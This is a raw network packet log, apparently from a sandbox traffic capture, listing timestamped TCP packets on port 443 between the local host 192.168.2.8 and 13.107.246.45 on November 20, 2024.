Nov 20, 2024 13:29:04.589459896 CET	50022	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.589466095 CET	443	50022	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.647181034 CET	443	50021	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.647252083 CET	443	50021	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.647360086 CET	50021	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.647377014 CET	443	50021	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.647429943 CET	50021	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.647564888 CET	50021	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.647583961 CET	443	50021	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.647594929 CET	50021	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.647600889 CET	443	50021	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.650933981 CET	50026	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.650991917 CET	443	50026	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.651070118 CET	50026	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.651257992 CET	50026	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.651279926 CET	443	50026	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.693375111 CET	443	50022	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.693479061 CET	443	50022	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.693526030 CET	50022	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.693844080 CET	50022	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.693862915 CET	443	50022	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.696999073 CET	50027	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.697038889 CET	443	50027	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.697144032 CET	50027	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.697315931 CET	50027	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.697330952 CET	443	50027	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.836013079 CET	443	50023	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.836843967 CET	50023	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.836880922 CET	443	50023	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.837330103 CET	50023	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.837336063 CET	443	50023	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.864391088 CET	443	50024	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.865000010 CET	50024	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.865039110 CET	443	50024	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.865370989 CET	50024	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.865377903 CET	443	50024	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.874041080 CET	443	50025	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.874414921 CET	50025	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.874456882 CET	443	50025	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.874758959 CET	50025	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.874768019 CET	443	50025	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.940562010 CET	443	50023	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.940745115 CET	443	50023	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.940891981 CET	50023	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.940932035 CET	50023	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.940953970 CET	443	50023	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.940968037 CET	50023	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.940974951 CET	443	50023	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.943895102 CET	50028	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.943990946 CET	443	50028	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.944082022 CET	50028	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.944220066 CET	50028	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.944255114 CET	443	50028	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.968357086 CET	443	50024	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.968420982 CET	443	50024	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.968480110 CET	443	50024	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.968533993 CET	50024	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.968647003 CET	50024	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.968672037 CET	443	50024	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.968687057 CET	50024	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.968694925 CET	443	50024	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.971153975 CET	50029	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.971220970 CET	443	50029	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.971303940 CET	50029	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.971446991 CET	50029	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.971474886 CET	443	50029	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.984745026 CET	443	50025	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.984925985 CET	443	50025	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.984978914 CET	50025	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.985018969 CET	50025	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.985018969 CET	50025	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.985037088 CET	443	50025	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.985045910 CET	443	50025	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.987191916 CET	50030	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.987277985 CET	443	50030	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:04.987371922 CET	50030	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.987499952 CET	50030	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:04.987533092 CET	443	50030	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.299252987 CET	443	50026	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.300028086 CET	50026	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:05.300082922 CET	443	50026	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.300435066 CET	50026	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:05.300445080 CET	443	50026	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.362159967 CET	443	50027	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.362855911 CET	50027	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:05.362885952 CET	443	50027	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.363445997 CET	50027	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:05.363455057 CET	443	50027	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.400732994 CET	443	50026	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.400800943 CET	443	50026	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.400903940 CET	443	50026	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.400978088 CET	50026	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:05.401262999 CET	50026	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:05.401312113 CET	443	50026	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.401341915 CET	50026	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:05.401359081 CET	443	50026	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.404767036 CET	50031	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:05.404803991 CET	443	50031	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.404880047 CET	50031	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:05.405073881 CET	50031	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:05.405092955 CET	443	50031	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.470011950 CET	443	50027	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.470089912 CET	443	50027	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.470174074 CET	50027	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:05.470462084 CET	50027	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:05.470482111 CET	443	50027	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.470493078 CET	50027	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:05.470498085 CET	443	50027	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.473932028 CET	50032	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:05.473956108 CET	443	50032	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.474057913 CET	50032	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:05.474268913 CET	50032	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:05.474277973 CET	443	50032	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.583519936 CET	443	50028	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.584460974 CET	50028	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:05.584522963 CET	443	50028	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.584867001 CET	50028	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:05.584882975 CET	443	50028	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.612132072 CET	443	50029	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.612736940 CET	50029	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:05.612770081 CET	443	50029	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.613023996 CET	50029	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:05.613029003 CET	443	50029	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.672085047 CET	443	50030	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.672642946 CET	50030	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:05.672662020 CET	443	50030	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.673125029 CET	50030	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:05.673130989 CET	443	50030	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.684453011 CET	443	50028	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.684627056 CET	443	50028	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.684777975 CET	50028	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:05.685811996 CET	50028	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:05.685832024 CET	443	50028	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.685843945 CET	50028	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:05.685849905 CET	443	50028	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.689205885 CET	50033	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:05.689274073 CET	443	50033	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.689348936 CET	50033	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:05.689546108 CET	50033	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:05.689565897 CET	443	50033	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.715718031 CET	443	50029	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.715805054 CET	443	50029	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.715986967 CET	50029	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:05.717086077 CET	50029	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:05.717086077 CET	50029	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:05.717134953 CET	443	50029	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.717161894 CET	443	50029	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.721430063 CET	50034	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:05.721477985 CET	443	50034	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.721549988 CET	50034	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:05.721749067 CET	50034	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:05.721765041 CET	443	50034	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.776987076 CET	443	50030	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.777093887 CET	443	50030	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.777162075 CET	50030	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:05.777182102 CET	443	50030	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.777246952 CET	443	50030	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.777306080 CET	50030	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:05.777487040 CET	50030	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:05.777487040 CET	50030	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:05.777503014 CET	443	50030	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.777510881 CET	443	50030	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.781395912 CET	50035	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:05.781446934 CET	443	50035	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:05.781564951 CET	50035	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:05.781733036 CET	50035	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:05.781747103 CET	443	50035	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.049230099 CET	443	50031	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.049773932 CET	50031	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.049839020 CET	443	50031	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.050272942 CET	50031	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.050287008 CET	443	50031	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.114197969 CET	443	50032	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.114900112 CET	50032	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.114973068 CET	443	50032	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.115391970 CET	50032	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.115411043 CET	443	50032	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.151112080 CET	443	50031	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.151266098 CET	443	50031	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.151365042 CET	50031	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.151514053 CET	50031	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.151557922 CET	443	50031	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.151587963 CET	50031	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.151603937 CET	443	50031	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.154553890 CET	50036	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.154602051 CET	443	50036	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.154696941 CET	50036	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.154876947 CET	50036	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.154901981 CET	443	50036	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.215529919 CET	443	50032	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.215795040 CET	443	50032	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.215862036 CET	443	50032	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.215881109 CET	50032	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.215955973 CET	50032	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.216032982 CET	50032	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.216080904 CET	443	50032	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.216110945 CET	50032	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.216128111 CET	443	50032	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.219168901 CET	50037	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.219216108 CET	443	50037	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.219300032 CET	50037	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.219455957 CET	50037	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.219470024 CET	443	50037	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.336020947 CET	443	50033	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.336895943 CET	50033	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.336952925 CET	443	50033	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.337414026 CET	50033	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.337431908 CET	443	50033	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.423904896 CET	443	50035	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.424647093 CET	50035	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.424700975 CET	443	50035	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.425143957 CET	50035	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.425160885 CET	443	50035	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.439865112 CET	443	50033	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.440043926 CET	443	50033	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.440124035 CET	50033	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.440254927 CET	50033	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.440282106 CET	443	50033	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.440298080 CET	50033	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.440306902 CET	443	50033	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.443093061 CET	50038	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.443133116 CET	443	50038	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.443196058 CET	50038	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.443336964 CET	50038	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.443347931 CET	443	50038	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.463143110 CET	443	50034	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.463814974 CET	50034	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.463891029 CET	443	50034	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.464334965 CET	50034	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.464349985 CET	443	50034	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.526307106 CET	443	50035	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.526602030 CET	443	50035	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.526710987 CET	50035	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.526767015 CET	50035	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.526793957 CET	443	50035	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.526810884 CET	50035	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.526819944 CET	443	50035	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.530265093 CET	50039	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.530319929 CET	443	50039	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.530425072 CET	50039	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.530625105 CET	50039	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.530637026 CET	443	50039	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.570283890 CET	443	50034	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.570322037 CET	443	50034	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.570389986 CET	443	50034	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.570384026 CET	50034	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.570458889 CET	50034	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.570688963 CET	50034	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.570735931 CET	443	50034	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.570768118 CET	50034	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.570784092 CET	443	50034	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.574325085 CET	50040	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.574424982 CET	443	50040	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.574502945 CET	50040	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.574749947 CET	50040	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.574780941 CET	443	50040	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.813503981 CET	443	50036	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.814145088 CET	50036	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.814172983 CET	443	50036	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.814788103 CET	50036	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.814795017 CET	443	50036	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.896112919 CET	443	50037	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.896928072 CET	50037	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.896948099 CET	443	50037	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:06.897531986 CET	50037	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:06.897537947 CET	443	50037	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.002337933 CET	443	50037	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.002640963 CET	443	50037	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.002737045 CET	50037	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.002789021 CET	50037	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.002789021 CET	50037	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.002808094 CET	443	50037	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.002815962 CET	443	50037	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.005923033 CET	50041	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.005964994 CET	443	50041	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.006059885 CET	50041	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.006244898 CET	50041	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.006254911 CET	443	50041	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.036082983 CET	443	50036	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.036401987 CET	443	50036	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.036468029 CET	50036	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.036535025 CET	50036	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.036547899 CET	443	50036	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.036561012 CET	50036	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.036566019 CET	443	50036	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.039527893 CET	50042	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.039573908 CET	443	50042	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.039648056 CET	50042	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.039789915 CET	50042	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.039803982 CET	443	50042	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.088056087 CET	443	50038	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.089926004 CET	50038	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.089936972 CET	443	50038	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.090420961 CET	50038	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.090424061 CET	443	50038	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.180464029 CET	443	50039	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.181087017 CET	50039	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.181114912 CET	443	50039	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.181571960 CET	50039	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.181576967 CET	443	50039	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.190344095 CET	443	50038	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.190556049 CET	443	50038	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.190598011 CET	443	50038	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.190610886 CET	50038	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.190642118 CET	50038	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.190680981 CET	50038	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.190696955 CET	443	50038	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.190722942 CET	50038	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.190727949 CET	443	50038	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.193758011 CET	50043	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.193804026 CET	443	50043	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.193873882 CET	50043	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.194004059 CET	50043	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.194015026 CET	443	50043	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.217566013 CET	443	50040	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.220294952 CET	50040	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.220307112 CET	443	50040	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.220801115 CET	50040	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.220805883 CET	443	50040	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.282824039 CET	443	50039	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.283243895 CET	443	50039	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.283308029 CET	50039	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.283360004 CET	50039	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.283360004 CET	50039	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.283379078 CET	443	50039	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.283390045 CET	443	50039	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.286348104 CET	50044	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.286376953 CET	443	50044	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.286442995 CET	50044	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.286591053 CET	50044	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.286601067 CET	443	50044	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.325393915 CET	443	50040	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.325460911 CET	443	50040	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.325546026 CET	50040	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.325761080 CET	50040	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.325783014 CET	443	50040	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.325798035 CET	50040	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.325812101 CET	443	50040	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.328425884 CET	50045	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.328470945 CET	443	50045	13.107.246.45	192.168.2.8
